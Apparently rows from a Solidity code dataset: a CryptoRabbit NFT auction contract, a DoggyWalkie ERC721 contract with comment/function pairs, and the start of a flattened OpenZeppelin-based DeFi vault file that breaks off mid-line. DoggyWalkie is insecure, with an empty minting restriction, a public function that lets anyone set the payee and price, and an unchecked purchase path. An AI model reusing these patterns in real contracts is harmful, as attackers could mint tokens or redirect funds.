auction.startingPrice; endingPrice = auction.endingPrice; duration = auction.duration; startedAt = auction.startedAt; currentPrice = _calcCurrentPrice(auction); } /// @dev Bids on an open auction, completing the auction and transferring /// ownership of the NFT if enough Ether is supplied. /// @param _tokenId - ID of token to bid on. function bid(uint _tokenId) external payable whenNotPaused { require(isNotContract(msg.sender)); // Get a reference to the auction struct Auction storage auction = tokenIdToAuction[_tokenId]; require(auction.startedAt > 0); // Check that the bid is greater than or equal to the current price uint price = _calcCurrentPrice(auction); require(msg.value >= price); // Grab a reference to the seller before the auction struct gets deleted. address seller = auction.seller; // require(_owns(this, _tokenId)); // The bid is good! Remove the auction before sending the fees // to the sender so we can't have a reentrancy endurance. delete tokenIdToAuction[_tokenId]; if (price > 0) { // Calculate the auctioneer's cut. uint auctioneerCut = price * masterCut / 10000; uint sellerProceeds = price - auctioneerCut; require(sellerProceeds <= price); // Doing a transfer() after removing the auction seller.transfer(sellerProceeds); } // Calculate any excess funds included with the bid. uint bidExcess = msg.value - price; // Return the funds. if (bidExcess >= 1 finney) { msg.sender.transfer(bidExcess); } // Tell the world! emit AuctionSuccessful(_tokenId, price, msg.sender); //give goods to bidder. _transItem(this, msg.sender, _tokenId); } /// @dev Cancels an auction that hasn't been won yet. /// Returns the NFT to original owner. /// @notice This is a state-modifying function that can /// be called while the contract is paused. /// @param _tokenId - ID of token on auction function cancelAuction(uint _tokenId) external whenNotPaused { Auction storage auction = tokenIdToAuction[_tokenId]; require(auction.startedAt > 0); address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_tokenId); } /// @dev Cancels an auction when the contract is paused. /// Only the owner may do this, and NFTs are returned to /// the seller. This should only be used in emergencies. /// @param _tokenId - ID of the NFT on auction to cancel. function cancelAuctionByMaster(uint _tokenId) external onlyCOO whenPaused { _cancelAuction(_tokenId); } /// @dev Adds an auction to the list of open auctions. Also fires an event. /// @param _tokenId The ID of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(uint _tokenId, Auction _auction) internal { // Require that all auctions have a duration of // at least one minute. (Keeps our math from getting hairy!) require(_auction.duration >= 1 minutes); tokenIdToAuction[_tokenId] = _auction; RabbitData storage rdata = rabbits[_tokenId]; emit AuctionCreated( uint(_tokenId), uint(_auction.startingPrice), uint(_auction.endingPrice), uint(_auction.duration), uint(_auction.startedAt), uint32(rdata.explosive), uint32(rdata.endurance), uint32(rdata.nimble), uint32(rdata.star) ); } /// @dev Cancels an auction unconditionally. function _cancelAuction(uint _tokenId) internal { Auction storage auction = tokenIdToAuction[_tokenId]; _transItem(this, auction.seller, _tokenId); delete tokenIdToAuction[_tokenId]; emit AuctionCancelled(_tokenId); } /// @dev Returns current price of an NFT on auction. function _calcCurrentPrice(Auction storage _auction) internal view returns (uint outPrice) { int256 duration = _auction.duration; int256 price0 = _auction.startingPrice; int256 price2 = _auction.endingPrice; require(duration > 0); int256 secondsPassed = int256(now) - int256(_auction.startedAt); require(secondsPassed >= 0); if (secondsPassed < _auction.duration) { int256 priceChanged = (price2 - price0) * secondsPassed / duration; int256 currentPrice = price0 + priceChanged; outPrice = uint(currentPrice); } else { outPrice = _auction.endingPrice; } } /// @dev tranfer token to the target, in case of some error occured. /// Only the coo may do this. /// @param _to The target address. /// @param _to The id of the token. function transferOnError(address _to, uint _tokenId) external onlyCOO { require(_owns(this, _tokenId)); Auction storage auction = tokenIdToAuction[_tokenId]; require(auction.startedAt == 0); _transItem(this, _to, _tokenId); } /// @dev allow the user to draw a rabbit, with a signed message from coo function getFreeRabbit(uint32 _star, uint _taskId, uint8 v, bytes32 r, bytes32 s) external { require(usedSignId[_taskId] == 0); uint[2] memory arr = [_star, _taskId]; string memory text = uint2ToStr(arr); address signer = verify(text, v, r, s); require(signer == cooAddress); _createRabbitInGrade(_star, msg.sender, 4); usedSignId[_taskId] = 1; } /// @dev allow any user to set rabbit data, with a signed message from coo function setRabbitData( uint _tokenId, uint32 _explosive, uint32 _endurance, uint32 _nimble, uint _taskId, uint8 v, bytes32 r, bytes32 s ) external { require(usedSignId[_taskId] == 0); Auction storage auction = tokenIdToAuction[_tokenId]; require (auction.startedAt == 0); uint[5] memory arr = [_tokenId, _explosive, _endurance, _nimble, _taskId]; string memory text = uint5ToStr(arr); address signer = verify(text, v, r, s); require(signer == cooAddress); RabbitData storage rdata = rabbits[_tokenId]; rdata.explosive = _explosive; rdata.endurance = _endurance; rdata.nimble = _nimble; rabbits[_tokenId] = rdata; usedSignId[_taskId] = 1; emit UpdateComplete(msg.sender, _tokenId); } /// @dev werify wether the message is form coo or not. function verify(string text, uint8 v, bytes32 r, bytes32 s) public pure returns (address) { bytes32 hash = keccak256(text); bytes memory prefix = "\x19Ethereum Signed Message:\n32"; bytes32 prefixedHash = keccak256(prefix, hash); address tmp = ecrecover(prefixedHash, v, r, s); return tmp; } /// @dev create an string according to the array function uint2ToStr(uint[2] arr) internal pure returns (string){ uint length = 0; uint i = 0; uint val = 0; for(; i < arr.length; i++){ val = arr[i]; while(val >= 10) { length += 1; val = val / 10; } length += 1;//for single length += 1;//for comma } length -= 1;//remove last comma //copy char to bytes bytes memory bstr = new bytes(length); uint k = length - 1; int j = int(arr.length - 1); while (j >= 0) { val = arr[uint(j)]; if (val == 0) { bstr[k] = byte(48); if (k > 0) { k--; } } else { while (val != 0){ bstr[k] = byte(48 + val % 10); val /= 10; if (k > 0) { k--; } } } if (j > 0) { //add comma assert(k > 0); bstr[k] = byte(44); k--; } j--; } return string(bstr); } /// @dev create an string according to the array function uint5ToStr(uint[5] arr) internal pure returns (string){ uint length = 0; uint i = 0; uint val = 0; for(; i < arr.length; i++){ val = arr[i]; while(val >= 10) { length += 1; val = val / 10; } length += 1;//for single length += 1;//for comma } length -= 1;//remove last comma //copy char to bytes bytes memory bstr = new bytes(length); uint k = length - 1; int j = int(arr.length - 1); while (j >= 0) { val = arr[uint(j)]; if (val == 0) { bstr[k] = byte(48); if (k > 0) { k--; } } else { while (val != 0){ bstr[k] = byte(48 + val % 10); val /= 10; if (k > 0) { k--; } } } if (j > 0) { //add comma assert(k > 0); bstr[k] = byte(44); k--; } j--; } return string(bstr); } } /// @title CryptoRabbit: Collectible, oh-so-adorable rabbits on the Ethereum blockchain. /// @author cuilichen /// @dev The main CryptoRabbit contract, keeps track of rabbits so they don't wander around and get lost. /// This is the main CryptoRabbit contract. In order to keep our code seperated into logical sections. contract RabbitCore is RabbitAuction { event ContractUpgrade(address newContract); // Set in case the core contract is broken and an upgrade is required address public newContractAddress; /// @notice Creates the main CryptoRabbit smart contract instance. function RabbitCore(string _name, string _symbol) public { name = _name; symbol = _symbol; // the creator of the contract is the initial CEO ceoAddress = msg.sender; cooAddress = msg.sender; cfoAddress = msg.sender; //first rabbit in this world _createRabbit(5, 50, 50, 50, 1, msg.sender, 0); } /// @dev Used to mark the smart contract as upgraded. /// @param _v2Address new address function upgradeContract(address _v2Address) external onlyCOO whenPaused { // See README.md for updgrade plan newContractAddress = _v2Address; emit ContractUpgrade(_v2Address); } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can't have /// newContractAddress set either, because then the contract was upgraded. /// @notice This is public rather than external so we can call super.unpause /// without using an expensive CALL. function unpause() public onlyCOO { require(newContractAddress == address(0)); // Actually unpause the contract. super.unpause(); } // @dev Allows the CEO to capture the balance available to the contract. function withdrawBalance() external onlyCFO { address tmp = address(this); cfoAddress.transfer(tmp.balance); } }
we can create promo rabbits, up to a limit. Only callable by COO
function createPromoRabbit(uint _star, address _owner) whenNotPaused external onlyCOO { require (_owner != address(0)); require(CREATED_PROMO < LIMIT_PROMO); if (_star == 5){ require(CREATED_STAR5 < LIMIT_STAR5); require(CREATED_STAR4 < LIMIT_STAR4); } CREATED_PROMO++; _createRabbitInGrade(_star, _owner, 0); }
2,515,389
pragma solidity ^0.4.24; import 'openzeppelin-solidity/contracts/token/ERC721/ERC721Full.sol'; import 'openzeppelin-solidity/contracts/token/ERC721/ERC721Mintable.sol'; contract DoggyWalkie is ERC721Full, ERC721Mintable { // Mapping token hold to address (previous owner) mapping(uint256 => address) private _tokenHold; mapping(uint256 => uint256) private _tokenPrice; constructor() ERC721Full("DoggyWalkie", "DOGGY") public { } //all minters modifier onlyMinter() { _; } //no one can stop minting function finishMinting() public returns (bool) { return false; } function purchaseToken(uint256 tokenId) public payable returns (bool) { transferFrom(ownerOf(tokenId), msg.sender, tokenId); require(_exists(tokenId)); require(onHold(tokenId) != false); require(msg.sender != address(0)); _removeTokenFrom(ownerOf(tokenId), tokenId); _addTokenTo(msg.sender, tokenId); addToHold(tokenId, ownerOf(tokenId), msg.value); emit Transfer(ownerOf(tokenId), msg.sender, tokenId); } // send token to hold and collect token price function addToHold(uint256 tokenId, address from, uint256 price) public { _tokenPrice[tokenId] = price; _tokenHold[tokenId] = from; } //confirm job - release the money (no fee fro this time) function confirmJob(uint256 tokenId) public { require(onHold(tokenId)); require(ownerOf(tokenId) == msg.sender); _tokenHold[tokenId].transfer(_tokenPrice[tokenId]); _tokenHold[tokenId] = address(0); //unhold token } //is token on hold function onHold(uint256 tokenId) public view returns (bool){ address owner = _tokenHold[tokenId]; return owner != address(0); } }
no one can stop minting
function finishMinting() public returns (bool) { return false; }
1,053,319
/** *Submitted for verification at Etherscan.io on 2022-03-15 */ // SPDX-License-Identifier: GPL-3.0-or-later // Sources flattened with hardhat v2.6.1 https://hardhat.org // File @openzeppelin/contracts/token/ERC20/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/token/ERC20/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File @openzeppelin/contracts-upgradeable/utils/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // File interfaces/IStrategy.sol pragma solidity 0.8.9; interface IStrategy { function name() external view returns (string memory); function deposit() external payable returns (bool); function balance() external view returns (uint256); function withdraw(uint256 amount) external returns (bool); function withdrawAll() external returns (uint256); function harvestable() external view returns (uint256); function harvest() external returns (uint256); function strategist() external view returns (address); function shutdown() external returns (bool); function hasPendingFunds() external view returns (bool); } // File interfaces/IPreparable.sol pragma solidity 0.8.9; interface IPreparable { event ConfigPreparedAddress(bytes32 indexed key, address value, uint256 delay); event ConfigPreparedNumber(bytes32 indexed key, uint256 value, uint256 delay); event ConfigUpdatedAddress(bytes32 indexed key, address oldValue, address newValue); event ConfigUpdatedNumber(bytes32 indexed key, uint256 oldValue, uint256 newValue); event ConfigReset(bytes32 indexed key); } // File interfaces/IVault.sol pragma solidity 0.8.9; /** * @title Interface for a Vault */ interface IVault is IPreparable { event StrategyActivated(address indexed strategy); event StrategyDeactivated(address indexed strategy); /** * @dev 'netProfit' is the profit after all fees have been deducted */ event Harvest(uint256 indexed netProfit, uint256 indexed loss); function initialize( address _pool, uint256 _debtLimit, uint256 _targetAllocation, uint256 _bound ) external; function withdrawFromStrategyWaitingForRemoval(address strategy) external returns (uint256); function deposit() external payable; function withdraw(uint256 amount) external returns (bool); function initializeStrategy(address strategy_) external returns (bool); function withdrawAll() external; function withdrawFromReserve(uint256 amount) external; function getStrategy() external view returns (IStrategy); function getStrategiesWaitingForRemoval() external view returns (address[] memory); function getAllocatedToStrategyWaitingForRemoval(address strategy) external view returns (uint256); function getTotalUnderlying() external view returns (uint256); function getUnderlying() external view returns (address); } // File interfaces/IVaultReserve.sol pragma solidity 0.8.9; interface IVaultReserve { event Deposit(address indexed vault, address indexed token, uint256 amount); event Withdraw(address indexed vault, address indexed token, uint256 amount); event VaultListed(address indexed vault); function deposit(address token, uint256 amount) external payable returns (bool); function withdraw(address token, uint256 amount) external returns (bool); function getBalance(address vault, address token) external view returns (uint256); function canWithdraw(address vault) external view returns (bool); } // File interfaces/pool/ILiquidityPool.sol pragma solidity 0.8.9; interface ILiquidityPool is IPreparable { event Deposit(address indexed minter, uint256 depositAmount, uint256 mintedLpTokens); event DepositFor( address indexed minter, address indexed mintee, uint256 depositAmount, uint256 mintedLpTokens ); event Redeem(address indexed redeemer, uint256 redeemAmount, uint256 redeemTokens); event LpTokenSet(address indexed lpToken); event StakerVaultSet(address indexed stakerVault); function redeem(uint256 redeemTokens) external returns (uint256); function redeem(uint256 redeemTokens, uint256 minRedeemAmount) external returns (uint256); function calcRedeem(address account, uint256 underlyingAmount) external returns (uint256); function deposit(uint256 mintAmount) external payable returns (uint256); function deposit(uint256 mintAmount, uint256 minTokenAmount) external payable returns (uint256); function depositAndStake(uint256 depositAmount, uint256 minTokenAmount) external payable returns (uint256); function depositFor(address account, uint256 depositAmount) external payable returns (uint256); function depositFor( address account, uint256 depositAmount, uint256 minTokenAmount ) external payable returns (uint256); function unstakeAndRedeem(uint256 redeemLpTokens, uint256 minRedeemAmount) external returns (uint256); function handleLpTokenTransfer( address from, address to, uint256 amount ) external; function executeNewVault() external returns (address); function executeNewMaxWithdrawalFee() external returns (uint256); function executeNewRequiredReserves() external returns (uint256); function executeNewReserveDeviation() external returns (uint256); function setLpToken(address _lpToken) external returns (bool); function setStaker() external returns (bool); function isCapped() external returns (bool); function uncap() external returns (bool); function updateDepositCap(uint256 _depositCap) external returns (bool); function getUnderlying() external view returns (address); function getLpToken() external view returns (address); function getWithdrawalFee(address account, uint256 amount) external view returns (uint256); function getVault() external view returns (IVault); function exchangeRate() external view returns (uint256); } // File interfaces/IGasBank.sol pragma solidity 0.8.9; interface IGasBank { event Deposit(address indexed account, uint256 value); event Withdraw(address indexed account, address indexed receiver, uint256 value); function depositFor(address account) external payable; function withdrawUnused(address account) external; function withdrawFrom(address account, uint256 amount) external; function withdrawFrom( address account, address payable to, uint256 amount ) external; function balanceOf(address account) external view returns (uint256); } // File interfaces/oracles/IOracleProvider.sol pragma solidity 0.8.9; interface IOracleProvider { /// @notice Quotes the USD price of `baseAsset` /// @param baseAsset the asset of which the price is to be quoted /// @return the USD price of the asset function getPriceUSD(address baseAsset) external view returns (uint256); /// @notice Quotes the ETH price of `baseAsset` /// @param baseAsset the asset of which the price is to be quoted /// @return the ETH price of the asset function getPriceETH(address baseAsset) external view returns (uint256); } // File libraries/AddressProviderMeta.sol pragma solidity 0.8.9; library AddressProviderMeta { struct Meta { bool freezable; bool frozen; } function fromUInt(uint256 value) internal pure returns (Meta memory) { Meta memory meta; meta.freezable = (value & 1) == 1; meta.frozen = ((value >> 1) & 1) == 1; return meta; } function toUInt(Meta memory meta) internal pure returns (uint256) { uint256 value; value |= meta.freezable ? 1 : 0; value |= meta.frozen ? 